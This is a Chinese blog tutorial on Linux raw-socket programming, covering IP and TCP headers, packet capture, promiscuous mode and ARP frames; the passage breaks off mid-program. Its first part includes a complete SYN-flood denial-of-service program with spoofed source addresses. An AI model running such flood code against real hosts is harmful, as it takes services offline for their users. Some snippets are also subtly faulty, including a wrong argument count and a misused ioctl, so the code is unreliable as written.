?Linux網絡編程：原始套接字的魔力【上】

http://blog.chinaunix.net/uid-23069658-id-3280895.html


基于原始套接字編程
? ? ? ?在開發面向連接的TCP和面向無連接的UDP程序時，我們所關心的核心問題在于數據收發層面，數據的傳輸特性由TCP或UDP來保證：


? ? ? ?也就是說，對于TCP或UDP的程序開發，焦點在Data字段，我們沒法直接對TCP或UDP頭部字段進行赤裸裸的修改，當然還有IP頭。換句話說，我們對它們頭部操作的空間非常受限，只能使用它們已經開放給我們的諸如源、目的IP，源、目的端口等等。
? ? ? ?今天我們討論一下原始套接字的程序開發，用它作為入門協議棧的進階跳板太合適不過了。OK閑話不多說，進入正題。
? ? ? ?原始套接字的創建方法也不難：socket(AF_INET, SOCK_RAW, protocol)。
? ? ? ?重點在protocol字段，這里就不能簡單的將其值為0了。在頭文件netinet/in.h中定義了系統中該字段目前能取的值，注意：有些系統中不一定實現了netinet/in.h中的所有協議。源代碼的linux/in.h中和netinet/in.h中的內容一樣。


? ? ? ?我們常見的有IPPROTO_TCP，IPPROTO_UDP和IPPROTO_ICMP，在博文“(十六)洞悉linux下的Netfilter&iptables：開發自己的hook函數【實戰】(下) ”中我們見到該protocol字段為IPPROTO_RAW時的情形，后面我們會詳細介紹。
? ? ? ?用這種方式我就可以得到原始的IP包了，然后就可以自定義IP所承載的具體協議類型，如TCP，UDP或ICMP，并手動對每種承載在IP協議之上的報文進行填充。接下來我們看個最著名的例子DOS攻擊的示例代碼，以便大家更好的理解如何基于原始套接字手動去封裝我們所需要TCP報文。
? ? ? ?先簡單復習一下TCP報文的格式，因為我們本身不是講協議的設計思想，所以只會提及和我們接下來主題相關的字段，如果想對TCP協議原理進行深入了解那么《TCP/IP詳解卷1》無疑是最好的選擇。


? ? ? ?我們目前主要關注上面著色部分的字段就OK了，接下來再看看TCP3次握手的過程。TCP的3次握手的一般流程是：
(1) 第一次握手：建立連接時，客戶端A發送SYN包(SEQ_NUMBER=j)到服務器B，并進入SYN_SEND狀態，等待服務器B確認。
(2) 第二次握手：服務器B收到SYN包，必須確認客戶A的SYN(ACK_NUMBER=j+1)，同時自己也發送一個SYN包(SEQ_NUMBER=k)，即SYN+ACK包，此時服務器B進入SYN_RECV狀態。
(3) 第三次握手：客戶端A收到服務器B的SYN＋ACK包，向服務器B發送確認包ACK(ACK_NUMBER=k+1)，此包發送完畢，客戶端A和服務器B進入ESTABLISHED狀態，完成三次握手。
?至此3次握手結束，TCP通路就建立起來了，然后客戶端與服務器開始交互數據。上面描述過程中，SYN包表示TCP數據包的標志位syn=1，同理，ACK表示TCP報文中標志位ack=1，SYN+ACK表示標志位syn=1和ack=1同時成立。
原始套接字還提供了一個非常有用的參數IP_HDRINCL：
1、當開啟該參數時：我們可以從IP報文首部第一個字節開始依次構造整個IP報文的所有選項，但是IP報文頭部中的標識字段(設置為0時)和IP首部校驗和字段總是由內核自己維護的，不需要我們關心。
2、如果不開啟該參數：我們所構造的報文是從IP首部之后的第一個字節開始，IP首部由內核自己維護，首部中的協議字段被設置成調用socket()函數時我們所傳遞給它的第三個參數。
?開啟IP_HDRINCL特性的模板代碼一般為：
? ? ? ?const int on =1;
? if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
? }
? ? ? 所以，我們還得復習一下IP報文的首部格式：


?同樣，我們重點關注IP首部中的著色部分區段的填充情況。
? ? ? ?有了上面的知識做鋪墊，接下來DOS示例代碼的編寫就相當簡單了。我們來體驗一下手動構造原生態IP報文的樂趣吧：
點擊(此處)折疊或打開
//mdos.c
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>


//我們自己寫的攻擊函數
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都讓內核做，那豈不是忒不爽了，咱也試著計算一下校驗和。
unsigned short check_sum(unsigned short *addr,int len);


int main(int argc,char** argv){
? ? ? ? int skfd;
? ? ? ? struct sockaddr_in target;
? ? ? ? struct hostent *host;
? ? ? ? const int on=1;
? ? ? ? unsigned short srcport;


? ? ? ? if(argc!=2)
? ? ? ? {
? ? ? ? ? ? ? ? printf("Usage:%s target dstport srcport\n",argv[0]);
? ? ? ? ? ? ? ? exit(1);
? ? ? ? }


? ? ? ? bzero(&target,sizeof(struct sockaddr_in));
? ? ? ? target.sin_family=AF_INET;
? ? ? ? target.sin_port=htons(atoi(argv[2]));


? ? ? ? if(inet_aton(argv[1],&target.sin_addr)==0)
? ? ? ? {
? ? ? ? ? ? ? ? host=gethostbyname(argv[1]);
? ? ? ? ? ? ? ? if(host==NULL)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? ? ? printf("TargetName Error:%s\n",hstrerror(h_errno));
? ? ? ? ? ? ? ? ? ? ? ? exit(1);
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
? ? ? ? }


? ? ? ? //將協議字段置為IPPROTO_TCP，來創建一個TCP的原始套接字
? ? ? ? if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
? ? ? ? ? ? ? ? perror("Create Error");
? ? ? ? ? ? ? ? exit(1);
? ? ? ? }


? ? ? ? //用模板代碼來開啟IP_HDRINCL特性，我們完全自己手動構造IP報文
? ? ? ? ?if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
? ? ? ? ? ? ? ? perror("IP_HDRINCL failed");
? ? ? ? ? ? ? ? exit(1);
? ? ? ? }


? ? ? ? //因為只有root用戶才可以play with raw socket :)
? ? ? ? setuid(getpid());
? ? ? ? srcport = atoi(argv[3]);
? ? ? ? attack(skfd,&target,srcport);
}


//在該函數中構造整個IP報文，最后調用sendto函數將報文發送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
? ? ? ? char buf[128]={0};
? ? ? ? struct ip *ip;
? ? ? ? struct tcphdr *tcp;
? ? ? ? int ip_len;


? ? ? ? //在我們TCP的報文中Data沒有字段，所以整個IP報文的長度
? ? ? ? ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
? ? ? ? //開始填充IP首部
? ? ? ? ip=(struct ip*)buf;


? ? ? ? ip->ip_v = IPVERSION;
? ? ? ? ip->ip_hl = sizeof(struct ip)>>2;
? ? ? ? ip->ip_tos = 0;
? ? ? ? ip->ip_len = htons(ip_len);
? ? ? ? ip->ip_id=0;
? ? ? ? ip->ip_off=0;
? ? ? ? ip->ip_ttl=MAXTTL;
? ? ? ? ip->ip_p=IPPROTO_TCP;
? ? ? ? ip->ip_sum=0;
? ? ? ? ip->ip_dst=target->sin_addr;


? ? ? ? //開始填充TCP首部
? ? ? ? tcp = (struct tcphdr*)(buf+sizeof(struct ip));
? ? ? ? tcp->source = htons(srcport);
? ? ? ? tcp->dest = target->sin_port;
? ? ? ? tcp->seq = random();
? ? ? ? tcp->doff = 5;
? ? ? ? tcp->syn = 1;
? ? ? ? tcp->check = 0;


? ? ? ? while(1){
? ? ? ? ? ? ? ? //源地址偽造，我們隨便任意生成個地址，讓服務器一直等待下去
? ? ? ? ? ? ? ? ip->ip_src.s_addr = random();
? ? ? ? ? ? ? ? tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
? ? ? ? ? ? ? ? sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
? ? ? ? }
}


//關于CRC校驗和的計算，網上一大堆，我就“拿來主義”了
unsigned short check_sum(unsigned short *addr,int len){
? ? ? ? register int nleft=len;
? ? ? ? register int sum=0;
? ? ? ? register short *w=addr;
? ? ? ? short answer=0;


? ? ? ? while(nleft>1)
? ? ? ? {
? ? ? ? ? ? ? ? sum+=*w++;
? ? ? ? ? ? ? ? nleft-=2;
? ? ? ? }
? ? ? ? if(nleft==1)
? ? ? ? {
? ? ? ? ? ? ? ? *(unsigned char *)(&answer)=*(unsigned char *)w;
? ? ? ? ? ? ? ? sum+=answer;
? ? ? ? }


? ? ? ? sum=(sum>>16)+(sum&0xffff);
? ? ? ? sum+=(sum>>16);
? ? ? ? answer=~sum;
? ? ? ? return(answer);
}
? ? ? ?用前面我們自己編寫TCP服務器端程序來做本地測試，看看效果。先把服務器端程序啟動起來，如下：


? ? ? ?然后，我們編寫的“搗蛋”程序登場了：


? ? ? ?該“mdos”命令執行一段時間后，服務器端的輸出如下：


? ? ? ?因為我們的源IP地址是隨機生成的，源端口固定為8888，服務器端收到我們的SYN報文后，會為其分配一條連接資源，并將該連接的狀態置為SYN_RECV，然后給客戶端回送一個確認，并要求客戶端再次確認，可我們卻不再bird別個了，這樣就會造成服務端一直等待直到超時。
? ? ? ?備注：本程序僅供交流分享使用，不要做惡，不然后果自負哦。
? ? ? ?最后補充一點，看到很多新手經常對struct ip{}和struct iphdr{}，struct icmp{}和struct icmphdr{}糾結來糾結去了，不知道何時該用哪個。在/usr/include/netinet目錄這些結構所屬頭文件的定義，頭文件中對這些結構也做了很明確的說明，這里我們簡單總結一下：
? ? ? ?struct ip{}、struct icmp{}是供BSD系統層使用，struct iphdr{}和struct icmphdr{}是在INET層調用。同理tcphdr和udphdr分別都已經和諧統一了，參見tcp.h和udp.h。
? ? ? ?BSD和INET的解釋在協議棧篇章詳細論述，這里大家可以簡單這樣來理解：我們在用戶空間的編寫網絡應用程序的層次就叫做BSD層。所以我們該用什么樣的數據結構呢？良好的編程習慣當然是BSD層推薦我們使用的，struct ip{}、struct icmp{}。至于INET層的兩個同類型的結構體struct iphdr{}和struct icmphdr{}能用不？我只能說不建議。看個例子：


?我們可以看到無論BSD還是INET層的IP數據包結構體大小是相等的，ICMP報文的大小有差異。而我們知道ICMP報頭應該是8字節，那么BSD層為什么是28字節呢？留給大家思考。也就是說，我們這個mdos.c的實例程序中除了用struct ip{}之外還可以用INET層的struct iphdr{}結構。將如下代碼：
點擊(此處)折疊或打開
struct ip *ip;
…
ip=(struct ip*)buf;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
…
ip->ip_src.s_addr = random();
改成：
點擊(此處)折疊或打開
struct iphdr *ip;
…
ip=(struct iphdr*)buf;
ip->version = IPVERSION;
ip->ihl = sizeof(struct ip)>>2;
ip->tos = 0;
ip->tot_len = htons(ip_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr=target->sin_addr.s_addr;
…
ip->saddr = random();
? ? ? ?結果請童鞋們自己驗證。雖然結果一樣，但在BSD層直接使用INET層的數據結構還是不被推薦的。
? ? ? ?小結：
? ? ? ?1、IP_HDRINCL選項可以使我們控制到底是要從IP頭部第一個字節開始構造我們的原始報文或者從IP頭部之后第一個數據字節開始。
? ? ? ?2、只有超級用戶才能創建原始套接字。
? ? ? ?3、原始套接字上也可以調用connet、bind之類的函數，但都不常見。原因請大家回顧一下這兩個函數的作用。想不起來的童鞋回頭復習一下前兩篇的內容吧。
========

?Linux網絡編程：原始套接字的魔力【下】

可以接收鏈路層MAC幀的原始套接字
? ? ? ?前面我們介紹過了通過原始套接字socket(AF_INET, SOCK_RAW, protocol)我們可以直接實現自行構造整個IP報文，然后對其收發。提醒一點，在用這種方式構造原始IP報文時，第三個參數protocol不能用IPPROTO_IP，這樣會讓系統疑惑，不知道該用什么協議來伺候你了。
? ? ? ?今天我們介紹原始套接字的另一種用法：直接從鏈路層收發數據幀，聽起來好像很神奇的樣子。在Linux系統中要從鏈路層(MAC)直接收發數幀，比較普遍的做法就是用libpcap和libnet兩個動態庫來實現。但今天我們就要用原始套接字來實現這個功能。


? ? ? ?這里的2字節幀類型用來指示該數據幀所承載的上層協議是IP、ARP或其他。
? ? ? ?為了實現直接從鏈路層收發數據幀，我們要用到原始套接字的如下形式：
?socket(PF_PACKET, type, protocol)
1、其中type字段可取SOCK_RAW或SOCK_DGRAM。它們兩個都使用一種與設備無關的標準物理層地址結構struct sockaddr_ll{}，但具體操作的報文格式不同：
SOCK_RAW：直接向網絡硬件驅動程序發送(或從網絡硬件驅動程序接收)沒有任何處理的完整數據報文(包括物理幀的幀頭)，這就要求我們必須了解對應設備的物理幀幀頭結構，才能正確地裝載和分析報文。也就是說我們用這種套接字從網卡驅動上收上來的報文包含了MAC頭部，如果我們要用這種形式的套接字直接向網卡發送數據幀，那么我們必須自己組裝我們MAC頭部。這正符合我們的需求。
SOCK_DGRAM：這種類型的套接字對于收到的數據報文的物理幀幀頭會被系統自動去掉，然后再將其往協議棧上層傳遞；同樣地，在發送時數據時，系統將會根據sockaddr_ll結構中的目的地址信息為數據報文添加一個合適的MAC幀頭。
2、protocol字段，常見的，一般情況下該字段取ETH_P_IP，ETH_P_ARP，ETH_P_RARP或ETH_P_ALL，當然鏈路層協議很多，肯定不止我們說的這幾個，但我們一般只關心這幾個就夠我們用了。這里簡單提一下網絡數據收發的一點基礎。協議棧在組織數據收發流程時需要處理好兩個方面的問題：“從上倒下”，即數據發送的任務；“從下到上”，即數據接收的任務。數據發送相對接收來說要容易些，因為對于數據接收而言，網卡驅動還要明確什么樣的數據該接收、什么樣的不該接收等問題。protocol字段可選的四個值及其意義如下：
protocol
值
作用
ETH_P_IP
0X0800
只接收發往目的MAC是本機的IP類型的數據幀
ETH_P_ARP
0X0806
只接收發往目的MAC是本機的ARP類型的數據幀
ETH_P_RARP
0X8035
只接受發往目的MAC是本機的RARP類型的數據幀
ETH_P_ALL
0X0003
接收發往目的MAC是本機的所有類型(ip,arp,rarp)的數據幀，同時還可以接收從本機發出去的所有數據幀。在混雜模式打開的情況下，還會接收到發往目的MAC為非本地硬件地址的數據幀。
? ? ? protocol字段可取的所有協議參見/usr/include/linux/if_ether.h頭文件里的定義。
? ? ? 最后，格外需要留心一點的就是，發送數據的時候需要自己組織整個以太網數據幀。和地址相關的結構體就不能再用前面的struct sockaddr_in{}了，而是struct sockaddr_ll{}，如下：
點擊(此處)折疊或打開
struct sockaddr_ll{?
? ? unsigned short sll_family; /* 總是 AF_PACKET */?
? ? unsigned short sll_protocol; /* 物理層的協議 */?
? ? int sll_ifindex; /* 接口號 */?
? ? unsigned short sll_hatype; /* 報頭類型 */?
? ? unsigned char sll_pkttype; /* 分組類型 */?
? ? unsigned char sll_halen; /* 地址長度 */?
? ? unsigned char sll_addr[8]; /* 物理層地址 */?
};
?sll_protocoll：取值在linux/if_ether.h中，可以指定我們所感興趣的二層協議；
? ? ? ?sll_ifindex：置為0表示處理所有接口，對于單網卡的機器就不存在“所有”的概念了。如果你有多網卡，該字段的值一般通過ioctl來搞定，模板代碼如下，如果我們要獲取eth0接口的序號，可以使用如下代碼來獲取：
點擊(此處)折疊或打開
struct ?sockaddr_ll ?sll;
struct ifreq ifr;


strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFINDEX, &ifr);
sll.sll_ifindex = ifr.ifr_ifindex;
? sll_hatype：ARP硬件地址類型，定義在 linux/if_arp.h 中。 取ARPHRD_ETHER時表示為以太網。
? sll_pkttype：包含分組類型。目前，有效的分組類型有：目標地址是本地主機的分組用的 PACKET_HOST，物理層廣播分組用的 PACKET_BROADCAST ，發送到一個物理層多路廣播地址的分組用的 PACKET_MULTICAST，在混雜(promiscuous)模式下的設備驅動器發向其他主機的分組用的 PACKET_OTHERHOST，源于本地主機的分組被環回到分組套接口用的 PACKET_OUTGOING。這些類型只對接收到的分組有意義。
? ? ? ?sll_addr和sll_halen指示物理層(如以太網，802.3，802.4或802.5等)地址及其長度，嚴格依賴于具體的硬件設備。類似于獲取接口索引sll_ifindex，要獲取接口的物理地址，可以采用如下代碼：
點擊(此處)折疊或打開
struct ifreq ifr;


strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFHWADDR, &ifr);
?缺省情況下，從任何接口收到的符合指定協議的所有數據報文都會被傳送到原始PACKET套接字口，而使用bind系統調用并以一個sochddr_ll結構體對象將PACKET套接字與某個網絡接口相綁定，就可使我們的PACKET原始套接字只接收指定接口的數據報文。?
?接下來我們簡單介紹一下網卡是怎么收報的，如果你對這部分已經很了解可以跳過這部分內容。網卡從線路上收到信號流，網卡的驅動程序會去檢查數據幀開始的前6個字節，即目的主機的MAC地址，如果和自己的網卡地址一致它才會接收這個幀，不符合的一般都是直接無視。然后該數據幀會被網絡驅動程序分解，IP報文將通過網絡協議棧，最后傳送到應用程序那里。往上層傳遞的過程就是一個校驗和“剝頭”的過程，由協議棧各層去實現。


? ? ? ?接下來我們來寫個簡單的抓包程序，將那些發給本機的IPv4報文全打印出來：
點擊(此處)折疊或打開
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>


int main(int argc, char **argv) {
? ?int sock, n;
? ?char buffer[2048];
? ?struct ethhdr *eth;
? ?struct iphdr *iph;


? ?if (0>(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) {
? ? ?perror("socket");
? ? ?exit(1);
? ?}


? ?while (1) {
? ? ?printf("=====================================\n");
? ? ?//注意：在這之前我沒有調用bind函數，原因是什么呢？
? ? ?n = recvfrom(sock,buffer,2048,0,NULL,NULL);
? ? ?printf("%d bytes read\n",n);


? ? ?//接收到的數據幀頭6字節是目的MAC地址，緊接著6字節是源MAC地址。
? ? ?eth=(struct ethhdr*)buffer;
? ? ?printf("Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
? ? ?printf("Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);


? ? ?iph=(struct iphdr*)(buffer+sizeof(struct ethhdr));
? ? ?//我們只對IPV4且沒有選項字段的IPv4報文感興趣
? ? ?if(iph->version ==4 && iph->ihl == 5){
? ? ? ? ? ? ?printf("Source host:%s\n",inet_ntoa(iph->saddr));
? ? ? ? ? ? ?printf("Dest host:%s\n",inet_ntoa(iph->daddr));
? ? ?}
? ?}
}
? ? ? 編譯，然后運行，要以root身份才可以運行該程序：


正如我們前面看到的，網卡丟棄所有不含有主機MAC地址00:0C:29:BA:CB:61的數據包，這是因為網卡處于非混雜模式，即每個網卡只處理源地址是它自己的幀！
這里有三個例外的情況：
1、如果一個幀的目的MAC地址是一個受限的廣播地址（255.255.255.255)那么它將被所有的網卡接收。
2、如果一個幀的目的地址是組播地址，那么它將被那些打開組播接收功能的網卡所接收。
3、網卡如被設置成混雜模式，那么它將接收所有流經它的數據包。
? ? ? ?前面我們剛好提到過網卡的混雜模式，現在我們就來迫不及待的實踐一哈看看混雜模式是否可以讓我們抓到所有數據包，只要在while循環前加上如下代碼就OK了：


點擊(此處)折疊或打開
struct ifreq ethreq;
… …
strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
if(-1 == ioctl(sock,SIOCGIFFLAGS,&ethreq)){
? ? ?perror("ioctl");
? ? ?close(sock);
? ? ?exit(1);
}
ethreq.ifr_flags |=IFF_PROMISC;
if(-1 == ioctl(sock,SIOCGIFFLAGS,&ethreq)){
? ? ?perror("ioctl");
? ? ?close(sock);
? ? ?exit(1);
}
while(1){
? ?… …
}
? ? ? ?至此，我們一個網絡抓包工具的雛形就出現了。大家可以基于此做更多的練習，加上多線程機制，對收到的不同類型的數據包做不同處理等等，反正由你發揮的空間是相當滴大，“狐貍未成精，只因太年輕”。把這塊吃透了，后面理解協議棧就會相當輕松。
========

?Linux網絡編程：原始套接字的魔力【續

如何從鏈路層直接發送數據幀
? ? ? ?本來以為這部分都弄完了，結果有朋友反映說看了半天還是沒看到如何從鏈路層直接發送數據。因為上一篇里面提到的是從鏈路層“收發”數據，結果只“收”完，忘了“發”，實在抱歉，所以就有這篇續出來了。
? ? ? ?上一節我們主要研究了如何從鏈路層直接接收數據幀，可以通過bind函數來將原始套接字綁定到本地一個接口上，然后該套接字就只接收從該接口收上來的對應的數據包。今天我們用原始套接字來手工實現鏈路層ARP報文的發送和接收，以便大家對原始套接字有更深刻的掌握和理解。
? ? ? ?ARP全稱為地址解析協議，是鏈路層廣泛使用的一種尋址協議，完成32比特IP地址到48比特MAC地址的映射轉換。在以太網中，當一臺主機需要向另外一臺主機發送消息時，它會首先在自己本地的ARP緩存表中根據目的主機的IP地址查找其對應的MAC地址，如果找到了則直接向其發送消息。如果未找到，它首先會在全網發送一個ARP廣播查詢，這個查詢的消息會被以太網中所有主機接收到，然后每個主機就根據ARP查詢報文中所指定的IP地址來檢查該報文是不是發給自己的，如果不是則直接丟棄；只有被查詢的目的主機才會對這個消息進行響應，然后將自己的MAC地址通告給發送者。
? ? ? ?也就是說，鏈路層中是根據MAC地址來確定唯一一臺主機。以太幀格式如下：


? ? ? ?以太幀首部中2字節的幀類型字段指定了其上層所承載的具體協議，常見的有0x0800表示是IP報文、0x0806表示RARP協議、0x0806即為我們將要討論的ARP協議。
?硬件類型： 1表示以太網。
?協議類型： 0x0800表示IP地址。和以太頭部中幀類型字段相同。
?硬件地址長度和協議地址長度：對于以太網中的ARP協議而言，分別為6和4；
?操作碼：1表示ARP請求；2表示ARP應答；3表示RARP請求；4表示RARP應答。
? ? ? ?我們這里只討論硬件地址為以太網地址、協議地址為IP地址的情形，所以剩下四個字段就分別表示發送方的MAC和IP地址、接收方的MAC和IP地址了。
? ? ? ?注意：對于一個ARP請求報文來說，除了接收方硬件地址外，其他字段都要填充。當系統收到一個ARP請求時，會查詢該請求報文中接收方的協議地址是否和自己的IP地址相等，如果相等，它就把自己的硬件地址和協議地址填充進去，將發送和接收方的地址互換，然后將操作碼改為2，發送回去。


? ? ? ?下面看一個使用原始套接字發送ARP請求的例子：
點擊(此處)折疊或打開
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>


#define BUFLEN 42


int main(int argc,char** argv){
? ? int skfd,n;
? ? char buf[BUFLEN]={0};
? ? struct ether_header *eth;
? ? struct ether_arp *arp;
? ? struct sockaddr_ll toaddr;
? ? struct in_addr targetIP,srcIP;
? ? struct ifreq ifr;


? ? unsigned char src_mac[ETH_ALEN]={0};
? ? unsigned char dst_mac[ETH_ALEN]={0xff,0xff,0xff,0xff,0xff,0xff}; //全網廣播ARP請求
? ? if(3 != argc){
? ? ? ? ? ? printf("Usage: %s netdevName dstIP\n",argv[0]);
? ? ? ? ? ? exit(1);
? ? }


? ? if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL)))){
? ? ? ? ? ? perror("Create Error");
? ? ? ? ? ? exit(1);
? ? }


? ? bzero(&toaddr,sizeof(toaddr));
? ? bzero(&ifr,sizeof(ifr));
? ? strcpy(ifr.ifr_name,argv[1]);


? ? //獲取接口索引
? ? if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
? ? ? ? ? ?perror("get dev index error:");
? ? ? ? ? ?exit(1);
? ? }
? ? toaddr.sll_ifindex = ifr.ifr_ifindex;
? ? printf("interface Index:%d\n",ifr.ifr_ifindex);
? ? //獲取接口IP地址
? ? if(-1 == ioctl(skfd,SIOCGIFADDR,&ifr)){
? ? ? ? ? ?perror("get IP addr error:");
? ? ? ? ? ?exit(1);
? ? }
? ? srcIP.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
? ? printf("IP addr:%s\n",inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));


? ? //獲取接口的MAC地址
? ? if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
? ? ? ? ? ?perror("get dev MAC addr error:");
? ? ? ? ? ?exit(1);
? ? }


? ? memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
? ? printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);




? ? //開始填充，構造以太頭部
? ? eth=(struct ether_header*)buf;
? ? memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);?
? ? memcpy(eth->ether_shost,src_mac,ETH_ALEN);
? ? eth->ether_type = htons(ETHERTYPE_ARP);


? ? //手動開始填充用ARP報文首部
? ? arp=(struct arphdr*)(buf+sizeof(struct ether_header));
? ? arp->arp_hrd = htons(ARPHRD_ETHER); //硬件類型為以太
? ? arp->arp_pro = htons(ETHERTYPE_IP); //協議類型為IP


? ? //硬件地址長度和IPV4地址長度分別是6字節和4字節
? ? arp->arp_hln = ETH_ALEN;
? ? arp->arp_pln = 4;


? ? //操作碼，這里我們發送ARP請求
? ? arp->arp_op = htons(ARPOP_REQUEST);
? ? ??
? ? //填充發送端的MAC和IP地址
? ? memcpy(arp->arp_sha,src_mac,ETH_ALEN);
? ? memcpy(arp->arp_spa,&srcIP,4);


? ? //填充目的端的IP地址，MAC地址不用管
? ? inet_pton(AF_INET,argv[2],&targetIP);
? ? memcpy(arp->arp_tpa,&targetIP,4);


? ? toaddr.sll_family = PF_PACKET;
? ? n=sendto(skfd,buf,BUFLEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));


? ? close(skfd);
? ? return 0;
}
? ? ?結果如下：


? ? ? ?可以看到，我向網關發送一個ARP查詢請求，報文中攜帶了網關的IP地址以及我本地主機的IP和MAC地址。網關收到該請求后，對我的這個報文進行了回應，將它的MAC地址在ARP應答報文中發給我了。
? ? ? ?在這個示例程序中，我們完全自己手動構造了以太幀頭部，并完成了整個ARP請求報文的填充，最后用sendto函數，將我們的數據通過eth0接口發送出去。這個程序的靈活性還在于支持多網卡，使用時只要指定網卡名稱(如eth0或eth1)，程序便會自動去獲取指定接口相應的IP和MAC地址，然后用它們去填充ARP請求報文中對應的各字段。
? ? ? ?在頭文件里，主要對以太幀首部進行了封裝：
點擊(此處)折疊或打開
struct ether_header
{
? ?u_int8_t ether_dhost[ETH_ALEN]; /* destination eth addr */
? ?u_int8_t ether_shost[ETH_ALEN]; /* source ether addr */
? ?u_int16_t ether_type; /* packet type ID field */
} __attribute__ ((__packed__));
? ? ?在頭文件中，對ARP首部進行了封裝：
點擊(此處)折疊或打開
struct arphdr
{
? ? unsigned short ar_hrd; /* format of hardware address */
? ? unsigned short ar_pro; /* format of protocol address */
? ? unsigned char ar_hln; /* length of hardware address */
? ? unsigned char ar_pln; /* length of protocol address */
? ? unsigned short ar_op; /* ARP opcode (command) */
}
? ? ? 而頭文件里，又對ARP整個報文進行了封裝：
點擊(此處)折疊或打開
struct ether_arp {
? ? struct arphdr ea_hdr; /* fixed-size 8 bytes header */
? ? u_int8_t arp_sha[ETH_ALEN]; /* sender hardware address */
? ? u_int8_t arp_spa[4]; /* sender protocol address */
? ? u_int8_t arp_tha[ETH_ALEN]; /* target hardware address */
? ? u_int8_t arp_tpa[4]; /* target protocol address */
};


#define arp_hrd ea_hdr.ar_hrd
#define arp_pro ea_hdr.ar_pro
#define arp_hln ea_hdr.ar_hln
#define arp_pln ea_hdr.ar_pln
#define arp_op ea_hdr.ar_op
? ? 最后再看一個簡單的接收ARP報文的小程序：?
點擊(此處)折疊或打開
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#define BUFLEN 60


int main(int argc,char** argv){
? ? int i,skfd,n;
? ? char buf[ETH_FRAME_LEN]={0};
? ? struct ethhdr *eth;
? ? struct ether_arp *arp;
? ? struct sockaddr_ll fromaddr;
? ? struct ifreq ifr;


? ? unsigned char src_mac[ETH_ALEN]={0};


? ? if(2 != argc){
? ? ? ? printf("Usage: %s netdevName\n",argv[0]);
? ? ? ? exit(1);
? ? }


? ? //只接收發給本機的ARP報文
? ? if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)))){
? ? ? ? perror("Create Error");
? ? ? ? exit(1);
? ? }


? ? bzero(&fromaddr,sizeof(fromaddr));
? ? bzero(&ifr,sizeof(ifr));
? ? strcpy(ifr.ifr_name,argv[1]);


? ? //獲取接口索引
? ? if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
? ? ? ? perror("get dev index error:");
? ? ? ? exit(1);
? ? }
? ? fromaddr.sll_ifindex = ifr.ifr_ifindex;
? ? printf("interface Index:%d\n",ifr.ifr_ifindex);


? ? //獲取接口的MAC地址
? ? if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
? ? ? ? perror("get dev MAC addr error:");
? ? ? ? exit(1);
? ? }


? ? memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
? ? printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);


? ? fromaddr.sll_family = PF_PACKET;
